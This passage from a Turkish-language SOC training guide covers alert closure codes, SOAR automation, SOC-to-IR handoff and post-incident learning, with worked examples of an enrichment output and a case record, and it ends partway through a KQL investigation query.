Kapanış kodu, vakanın nasıl sonuçlandığını gösteren standart bir etiketlemedir. Bu etiketler doğru kullanıldığında SOC’un false positive oranı, confirmed incident oranı ve vaka kalitesi gibi metrikleri anlamlı hâle gelir.

Aşağıdaki kapanış kodları örnek bir SOC taksonomisidir. Kurumun kendi vaka yönetimi modeline göre isimler değişebilir. Önemli olan; confirmed incident, expected/authorized activity, duplicate, insufficient data ve gerçek false positive ayrımının tutarlı ve kanıta dayalı yapılmasıdır.

Kapanış Kodu	Kullanım Senaryosu ve Teknik Karar
False Positive	Alarm, tamamen zararsız bir davranışı "tehdit" olarak yanlış yorumladı. Kuralın Tuning (ince ayar) gerektirdiğini gösterir.
Benign True Positive	Alarm teknik olarak doğru (örn: bir admin `whoami` komutu çalıştırdı) ama bu aktivite kurum için meşru ve zararsızdır.
Expected Activity	Aktivite planlıdır; genellikle bir Change Request (Değişiklik Kaydı) veya bakım çalışması ile ilişkilendirilir.
Confirmed Incident	Gerçek bir siber saldırı veya güvenlik ihlali doğrulandı. Acil müdahale (Containment) ve IR süreçleri başlatıldı.
Duplicate	Aynı saldırı veya anomali için birden fazla alarm üretildi; verimlilik adına mevcut bir vaka ile birleştirildi.
Insufficient Data	Karar vermek için gerekli telemetri (log) veya kanıt yoktu. Bu kod, Data Gap bildirimine yol açmalıdır.
Suspicious / Monitoring	Net bir karar verilemedi ancak sistem "yakın takibe" alındı. Potansiyel bir tehdidin ilk aşaması olabilir.

Dikkat: “False positive” kodunu “bilmiyorum” anlamında kullanmak yaygın bir hatadır. Eğer yeterli veri yoksa “insufficient data” doğru koddur. Eğer davranış meşru ve onaylıysa “expected activity” veya kurum taksonomisine göre “benign true positive” daha doğru olabilir.

3.6 Vaka Kalitesini Ölçme

Bir vakanın kalitesi, içeriğinin başka bir analistin devam ettirebileceği ya da IR ekibinin kullanabileceği yeterlilikte olup olmadığıyla ölçülür. Kaliteli bir vaka şunları açıkça gösterir: ne oldu, ne zaman oldu, hangi sistemde oldu, kim tarafından yapıldı, hangi kanıtla doğrulandı ve hangi kararla sonuçlandı.

SOC Lead’in periyodik vaka kalite kontrolü yapması, ekibin standartlarını korur ve eğitim ihtiyaçlarını ortaya çıkarır. Bir vakayı rastgele açıp “başka bir analist bu vakayla ne yapardı?” sorusuna yanıt arayarak kalite değerlendirmesi yapılabilir.

4. SOAR ve Otomasyon ile SOC İş Akışlarını Standartlaştırma

4.1 SOAR’ın SOC’taki Amacı

SOAR (Security Orchestration, Automation and Response), SOC’un tekrar eden ve düşük riskli görevlerini otomatize etmek, farklı araçları birbirine bağlamak ve iş akışlarını standartlaştırmak için kullanılır. SOAR’ın amacı analisti ortadan kaldırmak değil; analistin dikkatini katma değerli işlere yönlendirmektir.

Bir analist bir alarm geldiğinde IP reputation sorgusu, GeoIP araması, asset bilgisi çekme ve ticket açma gibi işlemleri sırayla yapıyorsa, bu işlemlerin tamamı otomatize edilebilir. Böylece analist ekrana oturduğunda alarm bağlamıyla birlikte gelir; onlarca tıklama yerine analitik karar noktasından başlar.

Microsoft Sentinel gibi SOAR destekli platformlarda playbook ve automation rule yapıları, tekrarlayan enrichment, notification ve response görevlerinin standartlaştırılması için kullanılır.

4.2 Playbook Mantığıyla İş Akışı Oluşturma

Bir SOAR playbook’u, belirli alarm türü veya tetikleyici koşul için tasarlanmış bir iş akışı şemasıdır. Akış şöyle işler: alarm tetiklenir → koşul kontrolleri başlar → veriler toplanır → karar noktalarında insan onayı veya otomatik devam seçilir → aksiyon alınır → vaka güncellenir.

Playbook tasarımında şu üç soru belirleyicidir:

Bu alarm türü için hangi bağlam bilgileri her zaman toplanmalı?
Hangi koşullar manuel analisti gerektiriyor, hangisi otomatik devam edebilir?
Bu playbook’tan çıkan aksiyonlar ne kadar riskli?

Playbook ne kadar iyi tasarlanmış olursa olsun, her alarm için geçerli değildir. Bazı alarmlar o kadar bağlama duyarlıdır ki standart bir playbook akışına sığmaz; analist bu durumda playbook’u bir başlangıç noktası olarak kullanır, standart dışı karar noktalarında kendi yargısını ekler.

4.3 Runbook ve Playbook Arasındaki Farkı Anlama

Runbook, bir operasyonel görevin insan tarafından takip edildiği adım adım prosedür belgesidir. Playbook ise SOAR üzerinde otomasyonla desteklenebilen iş akışıdır. Örtüşme noktaları vardır; ancak ikisi aynı şey değildir.

SOC’ta her iki belgeye de ihtiyaç vardır. SOAR entegrasyonu olmayan veya daha az olgunlaşmış ekiplerde runbook hayatı kolaylaştırır: “Bu alarm türü geldiğinde şu adımları izle.” SOAR entegrasyonu oturunca runbook mantığının büyük bölümü playbook’a taşınır; ancak insanın müdahale edeceği noktalar runbook formatında belgelenir.

4.4 Enrichment Otomasyonlarıyla Bağlam Toplama

Enrichment otomasyonları, bir alarm geldiğinde analistin manuel yapacağı bağlam toplama işlerini otomatikleştirir. Bunlar düşük operasyonel riskli otomasyonlardır çünkü yalnızca bilgi toplar, aksiyon almaz.

Tipik enrichment otomasyonları:

IP Reputation: VirusTotal, AbuseIPDB veya TIP üzerinden IP skoru çekme.
WHOIS / Pasif DNS: Domain yaşı ve kayıt bilgisi.
GeoIP: IP’nin ülke ve ASN bilgisi.
Asset enrichment: CMDB veya envanter sisteminden hostname, owner, criticality bilgisi.
User enrichment: AD veya HR sisteminden kullanıcı rolü, departmanı, son login bilgisi.
Duplicate kontrol: Aynı alarm daha önce açık bir vakada var mı?

Bu bilgiler alarm açıldığında analistin ekranında hazır geldiğinde, triaj süresi doğrudan kısalır.

4.5 Notification Otomasyonlarıyla Ekipleri Bilgilendirme

Notification otomasyonları, belirli bir koşul sağlandığında ilgili ekiplere otomatik bildirim gönderir. Teams veya Slack’te SOC kanalına mesaj, email uyarısı, ITSM sisteminde ticket açma veya güncelleme bunların başında gelir.

Bu otomasyonlar SOC operasyonunda iletişim yükünü azaltır. Bir alarm kritik seviyeye ulaştığında SOC Lead’e otomatik bildirim gitmesi; bir vaka escalate edildiğinde IT ekibine ticket açılması gibi işlemler hem hız hem de tutarlılık sağlar.

Notification otomasyonları response otomasyonlarına göre daha düşük operasyonel etki taşır; ancak hassas vaka bilgisi, kullanıcı verisi, token, iç sistem adı, payload içeriği veya tam komut satırı yanlış kanala gönderilirse güvenlik ve gizlilik riski oluşturabilir. Bu nedenle bildirim içeriği ve hedef kanal kontrollü tasarlanmalıdır.

Fazla notification da yorgunluğa yol açar. Her alarm için bildirim göndermek, “çok alarm var” sorununu “çok bildirim var” sorununa dönüştürür.

4.6 Response Otomasyonlarıyla Kontrollü Aksiyon Alma

Response otomasyonları, gerçek aksiyon alan —ve bu nedenle dikkatli yönetilmesi gereken— otomasyon türüdür. Host isolation, account disable, IP block, firewall kural güncelleme, token revoke bu kategoriye girer.

Bu aksiyonlar yanlış bir alarm üzerinde çalışırsa iş sürekliliğine doğrudan zarar verir. Kritik bir üretim sunucusu false positive üzerinden izole edilirse bu bir güvenlik başarısı değil, operasyonel kesinti olur.

Bu yüzden response otomasyonları için şu ilkeler uygulanmalıdır:

İnsan onayı zorunlu olmalı: Yüksek etkili aksiyonlar SOAR’ın onay adımından geçmeli.
Kayıt tutulmalı: Kim onayladı, ne zaman, hangi aksiyon alındı?
Geri alınabilir olmalı: Account disable → re-enable gibi geri alma prosedürü tanımlı olmalı.
Test edilmeli: Otomasyon mantığı production’a alınmadan test ortamında doğrulanmalı.
Yetki sınırı net olmalı: Hangi aksiyon SOC tarafından, hangi aksiyon IR veya IT onayıyla uygulanır? Bu RACI modelinde tanımlanmalı.

4.7 Otomasyon Risklerini Yönetme

SOAR otomasyonunun en büyük riski, yanlış pozitif alarm üzerinden aksiyon almanın iş sürekliliğini bozmasıdır. Bunun yanında şu riskler de göz önünde bulundurulmalıdır:

Otomasyon kaymasına dikkat: Başlangıçta onaylı olan bir otomasyon zamanla “zaten her zaman evet basılıyor” alışkanlığıyla denetimsiz hâle gelir.
Playbook kırılgan noktaları: API değişikliği, log format değişikliği veya yeni araç entegrasyonu playbook akışını bozabilir. Periyodik test şarttır.
Bağımlılık riski: “SOAR halleder” beklentisi, analistin bağlam okuma becerisini zayıflatabilir. Otomasyon analistin yerine düşünmemelidir.
Gizlilik riski: Playbook çıktıları yanlış kişilere veya yanlış kanallara giderse vaka bilgisi sızabilir.

İyi SOAR tasarımı, analistin her bakışta “bu otomasyon neden bu kararı verdi?” sorusunu yanıtlayabilmesini sağlar. Opak otomasyon, analistin güvenmediği ve zamanla devre dışı bırakacağı bir otomasyon olur.

5. SOC’tan Incident Response Ekibine Temiz Devir Yapma: SOC-IR Handoff

5.1 SOC ile IR Arasındaki Operasyonel Sınırı Anlama

SOC’un temel görevi tespit, triaj, ilk analiz ve doğru ekibe temiz devir yapmaktır. Her olayı IR düzeyinde ele almak SOC’un ne kapasitesi ne de misyonudur. Tam müdahale, çoğu kurumda IR/DFIR ekibinin sorumluluğundadır.

Bu sınırı bilmek hem operasyonel hem de stratejik açıdan önemlidir. SOC yanlış şekilde tam müdahaleye girişirse kendi öncelik kuyruğunu kaybeder, diğer alarmlar bekler ve genellikle elindeki araçlar full IR için yetersiz kalır. Doğru model şudur: SOC doğrular, kapsamı çizer, kanıtı hazırlar, IR ekibine ihtiyaç duyulan tüm bilgiyi verir ve gerekli aksiyon önerilerini sunar.

SOC’un containment yetkisi kurumun IR/RACI modeline göre değişir. Birçok kurumda SOC, yüksek etkili containment için kanıta dayalı öneri sunar ve IR onayı bekler. Bazı kurumlarda ise düşük/orta riskli veya önceden onaylanmış aksiyonlar SOAR playbook üzerinden SOC tarafından uygulanabilir. Host isolation, account disable, token revoke gibi yüksek etkili aksiyonlarda onay, kayıt ve geri alma prosedürü mutlaka tanımlı olmalıdır.

5.2 Olayın Ne Zaman IR Ekibine Aktarılacağını Belirleme

IR eskalasyonu şu koşulların birinde veya birkaçında gündeme gelmelidir:

Credential compromise: Bir veya daha fazla kullanıcı hesabı ele geçirilmiş olabilir.

Lateral movement: Saldırgan bir sistemden diğerine geçiş yapmış olabilir.

Çoklu sistem etkisi: Olay birden fazla endpoint, sunucu veya kimlik hesabını etkiliyor.

Ransomware davranışı: Dosya şifreleme, shadow copy silme, çok sayıda dosyaya hızlı erişim.

Veri sızıntısı şüphesi: Anormal dış transfer, cloud storage upload, exfiltration sinyalleri.

Kritik sistem etkisi: Domain controller, üretim sunucusu, finansal sistem etkilenmiş.

Aktif saldırı: Saldırı devam ediyor, keşif veya ilerleme aktivitesi görülüyor.

Belirsizlik kritik varlık, credential compromise, lateral movement, aktif saldırı veya veri sızıntısı ihtimaliyle birleşiyorsa erken eskalasyon tercih edilmelidir. Düşük etkili ve izole alarmlarda ise kısa süreli ek veri toplama ve SOC Lead/L2 danışması daha doğru olabilir.

Bu liste kural değil, kılavuz niteliğindedir. SOC, kurumun IR eskalasyon politikasına göre hareket etmelidir.

5.3 Handoff Paketinde Bulunması Gereken Bilgileri Hazırlama

Temiz bir handoff paketi, IR ekibinin “SOC’tan ne aldık?” sorusuna tüm yanıtları vermeli; boşluk bırakmamalıdır. Pakette şunlar yer almalıdır:

Zaman çizelgesi: İlk sinyalden mevcut ana kadar, zaman damgasıyla sıralı olaylar.

Etkilenen kullanıcılar: Kullanıcı adları, hesap türleri, yetki seviyeleri, son login bilgileri.

Etkilenen varlıklar: Hostname, IP, işletim sistemi, kritiklik seviyesi, ağ segmenti.

Alarm kaynakları: Hangi kural tetikledi, hangi araç, hangi log kaynağından?

İlgili loglar: SIEM sorgu çıktıları, EDR process tree, ağ logları; mümkün olduğunca ham kayıt olarak saklanmış.

İlk analiz: SOC’un bugüne kadar yaptığı analiz özeti; ne bulundu, ne bulunamadı, ne belirsiz?

Önerilen containment: Hangi aksiyonun alınmasını öneriyorsunuz? Kanıta dayalı açıklama ile.

Açık belirsizlikler: Analistin yanıtlayamadığı sorular, eksik log kaynakları, doğrulanamayan hipotezler.

Hassas veri notu: Pakette token, parola, session cookie, kişisel veri veya gizli kurumsal bilgi varsa, kurumun erişim kontrolü ve maskeleme politikalarına uygun paylaşılmalıdır.

İpucu: Handoff paketi, IR ekibinin SOC’a “bu neydi?” diye dönmeden çalışabilmesini sağlamalıdır. Her “bu neydi?” sorusu, handoff kalitesinin yetersiz olduğunun göstergesidir.

5.4 Containment Önerisini Kanıta Dayalı Sunma

SOC, containment kararını kurumun yetki modeline göre ya öneri olarak sunar ya da önceden onaylanmış aksiyonlarda uygulayıcı rol alabilir. Her iki durumda da containment yaklaşımı “şu kanıta dayanarak şu aksiyonu öneriyoruz/uyguluyoruz” formatında olmalıdır.

Aksiyon	Karar Dayanağı ve Teknik Gerekçe
Host Isolation (Cihaz İzolasyonu)	Aktif C2 (Komuta Kontrol) iletişimi, Confirmed Malicious bir sürecin tespiti veya ağda yanal yayılım (Lateral Movement) şüphesinin olması.
Account Disable (Hesap Devre Dışı Bırakma)	Kimlik bilgilerinin ele geçirildiği (Credential Compromise) doğrulandıysa veya hesap üzerinden şüpheli toplu işlemler gerçekleştiriliyorsa uygulanır.
Firewall / Proxy Block	Zararlı olduğu kesinleşen bir dış IP veya domain ile aktif bir bağlantı tespit edildiğinde, trafiği ağ seviyesinde kesmek için kullanılır.
Token Revoke (Oturum İptali)	Bulut ortamlarında (Cloud) çalınmış OAuth veya oturum token'ları; şüpheli konumlardan gelen uygulama erişimlerini sonlandırmak için sıfırlanır.
Password Reset (Parola Sıfırlama)	Hesabın güvenliği sarsıldığında veya parolanın bellekte (LSASS dumping vb.) açıkta kaldığı anlaşıldığında, saldırganın erişimini kalıcı olarak kesmek için yapılır.

“Şüphe var, belki kapatalım” formatında containment önerisi sunmak, IR ekibinin elini zorlaştırır. Kanıt olmadan önerilen containment, iş sürekliliğine zarar verme riskini artırır.

5.5 Incident Response Sürecine Genel Bakış Kazanma

IR süreci eğitim amaçlı olarak preparation, detection/analysis, containment, eradication, recovery ve lessons learned şeklinde ayrıştırılabilir. NIST SP 800-61 Rev. 2 bu süreci dört ana fazda ele alır: Preparation, Detection and Analysis, Containment/Eradication/Recovery ve Post-Incident Activity. Kurumlar bu fazları kendi operasyon modeline göre daha ayrıntılı alt adımlara bölebilir. Rev. 3 tarafında ise incident response yaklaşımı CSF 2.0 ile daha uyumlu biçimde risk yönetimi, detect, respond ve recover bağlamına yerleştirilmiştir.

unutma: NIST SP 800-61 Rev. 2, incident response fazlarını anlamak için hâlâ tarihsel ve öğretici bir referans olarak kullanılabilir; ancak 3 Nisan 2025 itibarıyla geri çekilmiş ve SP 800-61 Rev. 3 tarafından değiştirilmiştir. Güncel kurum politikalarında Rev. 3 ve CSF 2.0 uyumu esas alınmalıdır.

SOC’un bu sürece katkısı detection ve analysis aşamalarında yoğunlaşır. Containment önerisi sunar veya kurum modeline göre önceden onaylı aksiyonlarda rol alabilir; ancak eradication ve recovery genellikle IR ve IT ekiplerinin sorumluluğundadır.

Bu sınırı bilmek, SOC’un kendisine ait olmayan sorumluluğu üstlenmesini engeller; aynı zamanda handoff’ın nerede bitmesi gerektiğini netleştirir.

5.6 DFIR Kavramlarını SOC Perspektifinden Tanıma

DFIR (Digital Forensics and Incident Response), SOC’un aldığı olayı daha derin bir forensik perspektifle inceleyen uzmanlık alanıdır. SOC analistinin DFIR uzmanı olması beklenmez; ancak temel DFIR farkındalığına sahip olması gerekir. Hangi durumda memory/disk forensics gerektiğini, hangi müdahalenin kanıtı bozabileceğini ve IR/DFIR ekibine hangi kanıtların korunarak aktarılması gerektiğini bilmelidir.

Bu ihtiyaç şu durumlarda doğar:

Memory forensics: Çalışan bir process’in belleği analiz edilmek istendiğinde.
Disk forensics: Silinen dosyalar, timeline artifact’ları veya sistem aktivite geçmişi incelenmek istendiğinde.
Timeline analysis: Olay öncesi ve sonrasının kapsamlı forensik zaman çizelgesiyle çıkarılması gerektiğinde.
Root cause analysis: Saldırının tam giriş noktasının ve tüm adımlarının doğrulanması gerektiğinde.
Chain of custody / kanıt bütünlüğü: Kanıtın kim tarafından, ne zaman, nasıl toplandığı ve nasıl saklandığının belgelenmesi gerektiğinde.

SOC’un bu süreçlere katkısı; mevcut logları, timeline’ı ve kanıtı hazır ve erişilebilir hâlde sunmaktır. DFIR ekibi bu temeli alır ve üzerine inşa eder.

6. Olay Sonrası Öğrenme ve Detection Feedback Süreci

6.1 Olay Sonrası Öğrenme Kültürü Oluşturma

Her kapanan ciddi olay, SOC için bir öğrenme fırsatıdır. Bu fırsatın değerlendirilebilmesi için olay sonrası öğrenme kültürünün kurumsal olarak benimsenmesi gerekir. Soruların yönü suçlamak değil, geliştirmek olmalıdır: “Kim hata yaptı?” değil, “hangi süreç bu hatayı mümkün kıldı ve nasıl iyileştiririz?”

Değerlendirme şu soruları içermeli:

Olay ne zaman başladı, ne zaman tespit edildi? Bu aradaki süre kabul edilebilir mi?
Detection hangi aşamalarda iyi çalıştı, hangi aşamalarda yetersiz kaldı?
Investigation sırasında hangi veriye erişildi, hangisi eksikti?
Handoff paketi IR ekibini yeterince bilgilendirdi mi?
Playbook bu olay tipini doğru yönlendirdi mi?
Containment önerisi veya aksiyonu zamanında ve kanıta dayalı mıydı?

6.2 Olaydan Detection Improvement Çıkarmak

Bir olay sırasında mevcut detection kurallarının nasıl davrandığını değerlendirmek, detection improvement’ın en organik yollarından biridir. Şu sorular bu çalışmayı yönlendirir:

Bu olay hangi noktada tespit edildi? Daha erken tespit edilebilir miydi?
Kaçırılan bir aşama var mıydı? Hangi davranış alarm üretmedi?
Yeni bir detection kuralı yazılabilir mi? Hangi log kaynağı ve hangi mantıkla?
Mevcut kurallardan hangisi tuning gerektiriyor?

Detection improvement, hunting çıktılarıyla aynı biçimde işlenir: yeni kural önerisi detection engineering kuyruğuna girer, önceliklendirilir, geliştirilir ve test edilir.

6.3 Olaydan Playbook Improvement Çıkarmak

Olay sırasında analistlerin zorlandığı, tereddüt ettiği veya standart dışı yol izlemek zorunda kaldığı adımlar, playbook güncellemesinin hammaddesidir.

“Bu alarm türü geldiğinde ne yapacağımı bilmiyordum” geri bildirimi, playbook’un bu alarm türü için yeterli yönlendirme sağlamadığını gösterir. “Playbook’taki bu adım gereksiz karmaşık” geri bildirimi sadeleştirme fırsatıdır. Bu geri bildirimler tutulmadığı sürece playbook statik kalır; ekip ise aynı hataları tekrar yapar.

6.4 Olaydan Log Source Improvement Çıkarmak

Bir olayın belirli aşamaları görülemediyse — örneğin saldırganın lateral movement’ı ne zaman başlattığı bilinemiyor, exfiltration başlangıcı net değil — bu bir log kaynağı eksikliğine işaret edebilir.

Bu eksiklik “görünürlük boşluğu” olarak belgelenmeli ve log altyapısı iyileştirme taleplerinde somut gerekçe olarak kullanılmalıdır. “Güvenlik için log toplamak gerekiyor” soyut argümanı yerine, “bu olayda X sisteminin Y loglarına ihtiyaç duyduk; bu log olmadığı için Z aşaması görülemedi” somut kanıtı çok daha ikna edicidir.

6.5 Olaydan Reporting Improvement Çıkarmak

Olay sonrasında yönetim, IR veya IT ekiplerine sunulan raporun ne kadar kullanışlı bulunduğu değerlendirilmelidir. “Raporda ne vardı ama ne eksikti?” sorusu, raporlama formatının geliştirilmesine yol gösterir.

Yönetim raporunda teknik detay yerine iş etkisini, alınan aksiyonları ve tekrar riski azaltma adımlarını bekliyorsa; mevcut format bunu karşılamıyor olabilir. IT ekibi hangi sistemlerin etkilendiğini net bir listede görmek istiyorsa; özet metin yerine yapılandırılmış bir format daha uygun olabilir.

Komut & Araç Okuryazarlığı

Örnek 1 — SOAR Enrichment Playbook Çıktısı Okuma

Komut :

                        [SOAR Playbook: Suspicious Login - Enrichment Output]
                        
                        Alarm Detayları
                        ----------------------------------------------------------------------
                        ID             : ALR-20240315-0042
                        Adı            : Suspicious Sign-In - Impossible Travel
                        Tetiklenme     : 2024-03-15 09:14:22 UTC
                        Kullanıcı      : backup_user@example.org
                        
                        --- Enrichment Sonuçları ---
                        
                        [GeoIP Analysis]
                          Kayıt 1: TR / Ankara    / ASN: 12345 (ISP-A)        / 09:02 UTC
                          Kayıt 2: NL / Amsterdam / ASN: 67890 (VPS-Provider) / 09:14 UTC
                          Not: 12 dakika farkla iki farklı ülkeden giriş tespit edildi.
                        
                        [IP Reputation - Kayıt 2 IP: 203.0.113.44]
                          VirusTotal : 3/89 flagged
                          AbuseIPDB  : Confidence 71% - Kategoriler: VPN, Proxy
                          İlk Rapor  : 2023-11-08
                        
                        [User Enrichment]
                          Departman  : IT Operations
                          Unvan      : Sistem Yöneticisi
                          Risk Skoru : 42 (Orta)
                          Son Login  : 2024-03-14 08:55 UTC (TR / Ankara)
                        
                        [Asset Enrichment - Sign-in Hedefi]
                          Servis      : Azure Portal (management.azure.com)
                          Kritiklik   : CRITICAL
                          Sahip Ekip  : Cloud Infrastructure
                        
                        [Duplicate Check]
                          Son Durum  : Son 48 saatte aynı kullanıcı için açık vaka: Yok
                        
                        --- Önerilen Sonraki Adımlar ---
                          1. Kullanıcı Onayı : backup_user ile acil iletişime geç.
                          2. Aksiyon        : Onay gelmezse hesabı geçici olarak kilitle (IR Onaylı).

Platform : SOAR Konsolu — Enrichment Playbook Çıktısı

Amaç: Impossible Travel (İmkansız Seyahat) alarmı için otomatik olarak toplanan GeoIP, IP Reputation ve Kullanıcı/Varlık (Asset) bağlamını analiz ederek, triaj kararını ve müdahale sürecini hızlandırmaktır.

Beklenen çıktı:

SOAR Platform - Playbook Execution: Enrichment Output

[ALR-20240315-0042] Suspicious Sign-In - Impossible Travel User: backup_user@example.org | Time: 2024-03-15 09:14:22 UTC

[+] GeoIP Analysis: - Location A: TR / Ankara (ASN: 12345) @ 09:02 UTC - Location B: NL / Amsterdam (ASN: 67890 - VPS Provider) @ 09:14 UTC [!] Alert: Travel time impossible (12 mins between TR and NL). [+] IP Reputation (203.0.113.44): - VirusTotal: 3/89 Flags - AbuseIPDB: 71% Confidence (VPN/Proxy detected) [+] Contextual Awareness: - Department: IT Operations (System Administrator) - Target: Azure Portal (Critical Asset) - Risk Score: 42 (Medium-High)

# --- SOAR TRİAJ VE KARAR NOTLARI --- # [!] Bulgusu: Kullanıcı hesabı bir VPS/Proxy IP'si üzerinden Amsterdam'dan oturum # açmaya çalışmaktadır. 12 dakika önce Ankara'da görülen kullanıcı için bu imkansızdır. # [!] Risk Faktörü: Hedef sistemin "Azure Portal" olması, saldırganın Cloud altyapısına # tam erişim sağlamaya çalıştığını (Privileged Access Abuse) gösterir. Önerilen Aksiyon: MFA RESET & ACCOUNT LOCK Durum: Otomatik Enrichment Tamamlandı - Analist Onayı Bekleniyor.

Dikkat edilecek noktalar:

İki giriş arasındaki 12 dakika: Türkiye’den Hollanda’ya 12 dakikada fiziksel geçiş imkânsız.
203.0.113.44 için verilen reputation bilgisi senaryo verisidir; gerçek ortamda bu alan kurum logundaki gerçek IP ile değiştirilmelidir. RFC 5737’ye göre 192.0.2.0/24, 198.51.100.0/24 ve 203.0.113.0/24 blokları dokümantasyon/örnek amaçlı ayrılmış TEST-NET adresleridir.
backup_user bir IT sistem yöneticisi: VPN kullanması meşru iş aktivitesi kapsamında olabilir mi?
Azure Portal yönetim erişimi: Kritik öneme sahip; bu erişim ele geçirilmiş hesapla yapıldıysa etki büyük.

Normal durum: IT yöneticisi iş VPN üzerinden farklı lokasyondan Azure Portal’a bağlanıyorsa, GeoIP iki farklı ülke gösterebilir ama bu meşru olabilir. Kullanıcının VPN kullanıp kullanmadığı ve nereye bağlandığı hakkında bağlam toplanmalıdır.

Şüpheli durum: Kullanıcı VPN kullanmadığını söylüyorsa veya ulaşılamıyorsa, impossible travel gerçek anlamda şüpheli olabilir. Özellikle VPS provider ASN’i, saldırgan altyapısı veya anonimleştirme servisi ihtimalini artırabilir.

Yanlış yapılandırma / veri kalitesi problemi: GeoIP veritabanı hatalıysa ülke eşleşmesi yanlış olabilir. Kullanıcının kurumsal VPN IP’si başka ülkede görünüyorsa bu false positive üretebilir. IP’nin ASN’i, VPN/proxy durumu ve kurumsal VPN envanteri birlikte değerlendirilmelidir.

Bu tür alarmda enrichment sonuçları kararı vermez; yalnızca kararın altyapısını oluşturur. Kullanıcı doğrulama olmadan ne “false positive” ne de “confirmed incident” kararı verilmelidir.

Örnek 2 — Case Management Kaydı Okuma

Komut:

                        [ Incident Report: CASE-2024-0892 ]
                        
                        Vaka ID        : CASE-2024-0892
                        Başlık         : Suspicious PowerShell — SRV-WEB01
                        Durum          : Escalated
                        Sahip          : analyst01
                        Açılış Tarihi  : 2024-03-15 03:28 UTC
                        Öncelik        : HIGH (Yüksek)
                        
                        --- Timeline (Olay Akışı) ---
                        [03:22 UTC] [EDR]  WmiPrvSE.exe → cmd.exe başlatıldı. PowerShell + IEX komutu tespit edildi.
                        [03:24 UTC] [Zeek] SRV-WEB01 → 203.0.113.91:443 bağlantısı (31KB veri indirme).
                        [03:28 UTC] [Triaj] analyst01 vaka açılışını yaptı: "Suspicious / Under Investigation".
                        [03:35 UTC] [Log]   testuser kimlik analizi: Gece 02:15'te beklenmeyen coğrafi konumdan VPN girişi.
                        [03:50 UTC] [SOAR]  IP Reputation: 3/89 flagged. Domain yaşı: 4 gün (New Domain).
                        [04:05 UTC] [Check] IT Change Management sorgulandı: Onaylı çalışma kaydı bulunamadı.
                        [04:15 UTC] [Action] L3 + IR ekibine devredildi. Containment süreci başlatıldı.
                        
                        --- Etkilenen Varlıklar ---
                        • SRV-WEB01: Üretim Web Sunucusu (Kritik)
                        • testuser: Muhasebe Departmanı (Domain User)
                        
                        --- Açık Belirsizlikler & Eksikler ---
                        1. İndirilen 31KB payload içeriği analiz edilmeyi bekliyor.
                        2. testuser hesabının lateral movement (yatay yayılım) yapıp yapmadığı belirsiz.
                        3. Sunucu üzerindeki tüm endpoint timeline (adli bilişim) çalışması tamamlanmadı.
                        
                        --- Kanıt Dosyaları ---
                        ✅ EDR: Alarm ID #41892 + Process Tree Screenshot
                        ✅ Zeek: conn.log (03:24 UTC)
                        ✅ SIEM: SPL Query Outputs
                        ✅ IT: "Kayıt Yok" Ekran Görüntüsü
                        
                        Önerilen Aksiyon: SRV-WEB01 izolasyonu ve testuser hesabının pasifize edilmesi.

Platform : Case Management Sistemi — genel vaka kaydı görünümü

Amaç: Escalate edilmiş (üst birime aktarılmış) bir vaka kaydının (Case Management) kalitesini değerlendirmek, olay kronolojisini okumak ve handoff (vaka devri) öncesi eksik noktaları saptamaktır.

Beklenen çıktı:

Case Management System - Incident Record: CASE-2024-0892

[CASE-2024-0892] Suspicious PowerShell — SRV-WEB01 Status: Escalated | Priority: High | Owner: analyst01

--- TIMELINE (Chronological Order) --- 03:22 UTC [EDR] WmiPrvSE.exe -> cmd.exe (PowerShell + IEX detected) 03:24 UTC [Zeek] SRV-WEB01 -> 203.0.113.91:443 (31KB Download) 03:28 UTC [analyst01] Case opened. Initial Triage: Suspicious. 03:35 UTC [analyst01] Identity audit: testuser login from unexpected country via VPN. 03:50 UTC [SOAR] IP Reputation check: 203.0.113.91 (3/89 flagged). Domain age: 4 days. 04:05 UTC [analyst01] Change Management: No approved maintenance records found. 04:15 UTC [analyst01] Escalated to L3/IR Team. Recommended isolation.

--- AFFECTED ASSETS --- - SRV-WEB01 (Production Web Server - CRITICAL) - testuser (Accounting - Domain User) --- OPEN UNCERTAINTIES (Gaps) --- 1) Payload analysis: Contents of the 31KB download are unknown. 2) Lateral Movement: No check yet for testuser activity on other systems. 3) Full Endpoint Timeline: Additional post-exploitation artifacts pending. --- EVIDENCE LIST --- - EDR: Alarm ID #41892 & Process Tree Screenshots - Zeek: Connection logs (03:24 UTC) - SIEM: SPL query results - IT Change: "No record found" verification screenshot # --- HANDOFF ANALİZ NOTLARI --- # [!] Vaka Kalitesi: Analist, süreci (WMI), ağı (Zeek), kimliği (VPN) ve kurumsal # bağlamı (Change Management) birleştirerek eksiksiz bir triaj yapmıştır. # [!] Handoff Hazırlığı: Belirsizliklerin net bir şekilde listelenmesi, IR ekibinin # soruşturmaya nereden devam edeceğini saptaması açısından kritiktir.

Dikkat edilecek noktalar:

Timeline boşlukları: İlk alarm ile vakanın açılması arasında 6 dakika (03:22 → 03:28). Kabul edilebilir.
Açık belirsizlikler bölümü dürüst yazılmış: Payload bilinmiyor, hesap aktivitesi tam kontrol edilmemiş.
Kanıt bölümü spesifik: Her kanıt belgelenmiş ve eklendi olarak işaretlenmiş.
Önerilen containment kanıta dayalı: Neden bu aksiyonlar önerildiği timeline’dan anlaşılıyor.

Normal durum: Bu vaka kaliteli bir handoff örneğidir. IR ekibi vakada ne bulacağını, ne bilmediğini ve neye ihtiyaç duyulacağını görüyor.

Şüpheli durum (vaka kalitesi açısından): Açık belirsizlikler bölümü boşsa veya kanıt eklenmemişse, handoff kalitesi yetersizdir.

Yanlış yapılandırma / veri kalitesi problemi: Zaman damgaları UTC değil yerel saatte yazılmışsa, timeline analizi yanıltıcı olur. “03:22” saat bilgisi her analist için aynı anlamı taşımalıdır.

Bu vaka formatı, vardiya devri sırasında ya da IR ekibine handoff anında referans olarak kullanılabilir. Başka bir analist bu vakayı açıp ilk 30 saniyede “bu olayda ne var, ne biliniyor, ne yapılmalı?” sorularını yanıtlayabilmelidir.

Örnek 3 — KQL ile Kullanıcı Pivot: Aynı Hesabın Son 48 Saatteki Aktivitesi

Komut :

                        // [KQL Investigation Query: Cross-Source User Timeline]
                        // Amacı: Belirli bir kullanıcının son 48 saatteki tüm ayak izlerini birleştirir.
                        
                        let TargetUser = "testuser@example.org";
                        let TargetSam  = "testuser";
                        let LookbackHours = 48h;
                        
                        union isfuzzy=true
                        (
                          // 1. Bulut Girişleri (Entra ID / SigninLogs)
                          SigninLogs
                          | where TimeGenerated > ago(LookbackHours)
                          | where UserPrincipalName =~ TargetUser
                          | project TimeGenerated, 
                                    EventType="SignIn", 
